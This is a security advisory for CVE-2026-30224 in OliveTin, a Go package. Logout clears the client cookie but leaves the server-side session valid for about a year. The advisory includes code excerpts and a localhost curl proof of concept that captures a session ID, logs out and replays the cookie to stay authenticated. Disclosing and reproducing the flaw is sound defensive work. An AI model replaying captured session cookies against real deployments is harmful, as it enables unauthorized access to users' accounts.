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Open-source package vulnerability · Go

CVE-2026-30224: OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session

mediumCVSS 3.1 5.4GHSA-gq2m-77hf-vwgh

Summary OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year). An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.

Published Mar 5, 2026 · Updated Mar 6, 2026

Affected packages

github.com/OliveTin/OliveTin

Ecosystem
Go
Affected
< 0.0.0-20260304233115-d6a0abc3755d15
Fixed in
0.0.0-20260304233115-d6a0abc3755d15
Check
go list -m github.com/OliveTin/OliveTin

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year).

An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.

This is a session management flaw that violates expected logout semantics.

Details

During logout:

// Logout only clears browser cookie
response.Header().Set("Set-Cookie", localCookie.String())

However, the server still accepts the session:

session := sessionStorage.Providers[provider].Sessions[sid]
...
return session

The SID is not deleted from sessionStorage.

Why vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).

File: [api.go](app://-/index.html?hostId=local#), [sessions.go](app://-/index.html?hostId=local#), [local.go](app://-/index.html?hostId=local#) Lines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47 Behavior

  • Login → receive SID cookie
  • Logout → cookie cleared client-side
  • Replay old SID manually → still authenticated

Expected:

  • Logout invalidates session immediately

Actual:

  • Old SID remains usable until expiry

PoC

Minimal config

listenAddressSingleHTTPFrontend: 0.0.0.0:16642
authRequireGuestsToLogin: true

authLocalUsers:
  enabled: true
  users:
    - username: low
      usergroup: users
      password: "$argon2id$..."

actions:
  - title: Dummy
    id: dummy
    shell: "echo dummy"

Reproduction

Login and capture SID:

LOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"lowpass"}')

SID=$(printf '%s\n' "$LOGIN" | awk -F'[=;]' '/olivetin-sid-local/{print $2}')

Works before logout:

curl -X POST http://localhost:16642/api/WhoAmI \
  -H "Cookie: olivetin-sid-local=$SID"

Logout:

curl -X POST http://localhost:16642/api/Logout \
  -H "Cookie: olivetin-sid-local=$SID"

Replay old cookie:

curl -X POST http://localhost:16642/api/WhoAmI \
  -H "Cookie: olivetin-sid-local=$SID"

Result

User is still authenticated after logout.

Impact

Type:

Session Management Flaw

  • Logout Bypass
  • Session Replay

Risk:

  • Stolen cookies remain valid
  • Persistent unauthorized access
  • Users falsely believe logout ended the session

Attack scenarios:

  • Shared computers
  • XSS/session theft
  • Proxy logs
  • Malware/browser compromise

Credited to Zwique.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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